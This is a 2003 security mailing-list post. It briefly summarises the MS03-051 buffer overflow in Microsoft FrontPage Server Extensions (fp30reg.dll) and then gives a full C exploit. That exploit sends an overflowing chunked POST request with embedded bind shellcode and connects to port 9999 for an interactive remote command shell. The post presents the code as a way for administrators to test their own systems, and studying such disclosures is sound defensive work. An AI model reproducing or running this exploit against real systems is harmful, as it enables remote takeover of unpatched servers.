[EXPL] Microsoft FrontPage Server Extensions Buffer Overflow (fp30reg.dll)
From: SecuriTeam (support_at_securiteam.com)
Date: 11/16/03
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To: list@securiteam.com Date: 16 Nov 2003 18:22:30 +0200
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Microsoft FrontPage Server Extensions Buffer Overflow (fp30reg.dll)
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/windowsntfocus/6M00B0K8UE.html> Buffer Overrun
in Microsoft FrontPage Server Extensions Could Allow Code Execution, a
vulnerability in FrontPage's fp30reg.dll allows remote attackers to cause
the product to execute arbitrary code. The following exploit code can be
used to test your system for the mentioned vulnerability.
DETAILS
Exploit:
/*******************************************************************************
Frontpage fp30reg.dll Overflow (MS03-051) discovered by Brett Moore
Exploit by A*** netmaniac hotmail kg
Binds persistent command shell on port 9999
Tested on
Windows 2000 Professional SP3 English version
(fp30reg.dll ver 4.0.2.5526)
-[ 13/Nov/2003 ]-
********************************************************************************/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#define VER "0.1"
/******** bind shellcode spawns persistent shell on port 9999
*****************************/
unsigned char kyrgyz_bind_code[] = {
0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5,
0x83, 0xC0, 0x11, 0x33,
0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60,
0xC4, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60,
0xD9, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA,
0xD7, 0xDC, 0x77, 0xDE,
0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46,
0x60, 0xB8, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E,
0x60, 0xA8, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8,
0x60, 0x98, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3,
0x60, 0x88, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25,
0x60, 0x78, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F,
0x60, 0x68, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61,
0x60, 0x58, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1,
0x60, 0x48, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1,
0x60, 0x38, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88,
0xDC, 0xE0, 0x89, 0x89,
0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8,
0xD8, 0x77, 0xDE, 0x78,
0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2,
0x9E, 0xD9, 0xDB, 0x77,
0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB,
0x77, 0xDE, 0x6A, 0x03,
0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A,
0x0B, 0x4C, 0x24, 0x05,
0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75,
0x4E, 0xCC, 0xAC, 0x98,
0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC,
0xC4, 0x01, 0xDC, 0xAC,
0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9,
0xC1, 0xD9, 0xD9, 0x77,
0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9,
0x77, 0xDE, 0x5A, 0x03,
0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C,
0xDE, 0xEC, 0x29, 0xB8,
0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8,
0x80, 0xD6, 0x4A, 0x8C,
0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4,
0x03, 0xDC, 0x8D, 0xF0,
0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA,
0xC1, 0x03, 0xBC, 0x03,
0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F,
0x49, 0x47, 0x85, 0x8B,
0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC,
0x8B, 0x55, 0xEE, 0x03,
0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D,
0x63, 0x8A, 0xBB, 0x48,
0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
};
void cmdshell (int sock);
long gimmeip(char *hostname);
int main(int argc,char *argv[])
{
WSADATA wsaData;
struct sockaddr_in targetTCP;
struct hostent *host;
int sockTCP,s;
unsigned short port = 80;
long ip;
unsigned char header[]= "POST /_vti_bin/_vti_aut/fp30reg.dll
HTTP/1.1\r\n";
unsigned char packet[3000],data[1500];
unsigned char ecx[] = "\xe0\xf3\xd4\x67";
unsigned char edi[] = "\xff\xd0\x90\x90";
unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of
fp30reg.dll
unsigned char shortjmp[] = "\xeb\x10";
printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver %s
}=-\n\n"
" by A*** < netmaniac [at] hotmail.KG >\n\n", VER);
if(argc < 2)
{
printf(" Usage: %s [Target] <port>\n"
" eg: fp30reg.exe 192.168.63.130\n\n",argv[0]);
return 1;
}
if(argc==3)
port = atoi(argv[2]);
WSAStartup(0x0202, &wsaData);
printf("[*] Target:\t%s \tPort: %d\n\n",argv[1],port);
ip=gimmeip(argv[1]);
memset(&targetTCP, 0, sizeof(targetTCP));
memset(packet,0,sizeof(packet));
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(port);
sprintf(packet,"%sHost: %s\r\nTransfer-Encoding:
chunked\r\n",header,argv[1]);
memset(data, 0x90, sizeof(data)-1);
data[sizeof(data)-1] = '\x0';
memcpy(&data[16],edi,sizeof(edi)-1);
memcpy(&data[20],ecx,sizeof(ecx)-1);
memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
memcpy(&data[250+14],call,sizeof(call)-1);
memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
sprintf(packet,"%sContent-Length:
%d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
printf("[*] Socket initialized...\n");
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP))
!= 0)
{
printf("[*] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);
}
printf("[*] Checking for presence of fp30reg.dll...");
if (send(sockTCP, packet, strlen(packet),0) == -1)
{
printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();
return 1;
}
memset(packet,0,sizeof(packet));
if (recv(sockTCP, packet, sizeof(packet),0) == -1)
{
printf("[x] Failed to receive packet! Exiting...\n");
WSACleanup();
return 1;
}
if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0')
printf(" Found!\n");
else
{
printf(" Not Found!! Exiting...\n");
WSACleanup();
return 1;
}
printf("[*] Packet injected!\n");
closesocket(sockTCP);
printf("[*] Sleeping ");
for(s=0;s<13000;s+=1000)
{
printf(". ");
Sleep(1000);
}
printf("\n[*] Connecting to host: %s on port 9999",argv[1]);
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("\n[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(9999);
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP))
!= 0)
{
printf("\n[x] Exploit failed or there is a Firewall! Exiting...\n");
WSACleanup();
exit(1);
}
printf("\n[*] Dropping to shell...\n\n");
cmdshell(sockTCP);
return 0;
}
/*********************************************************************************/
void cmdshell (int sock)
{
struct timeval tv;
int length;
unsigned long o[2];
char buffer[1000];
tv.tv_sec = 1;
tv.tv_usec = 0;
while (1)
{
o[0] = 1;
o[1] = sock;
length = select (0, (fd_set *)&o, NULL, NULL, &tv);
if(length == 1)
{
length = recv (sock, buffer, sizeof (buffer), 0);
if (length <= 0)
{
printf ("[x] Connection closed.\n");
WSACleanup();
return;
}
length = write (1, buffer, length);
if (length <= 0)
{
printf ("[x] Connection closed.\n");
WSACleanup();
return;
}
}
else
{
length = read (0, buffer, sizeof (buffer));
if (length <= 0)
{
printf("[x] Connection closed.\n");
WSACleanup();
return;
}
length = send(sock, buffer, length, 0);
if (length <= 0)
{
printf("[x] Connection closed.\n");
WSACleanup();
return;
}
}
}
}
/*********************************************************************************/
long gimmeip(char *hostname)
{
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0)
{
if ((he = gethostbyname(hostname)) == NULL)
{
printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
WSACleanup();
exit(1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
/*********************************************************************************/
ADDITIONAL INFORMATION
The information has been provided by <mailto:netmaniac@hotmail.kg> A***.
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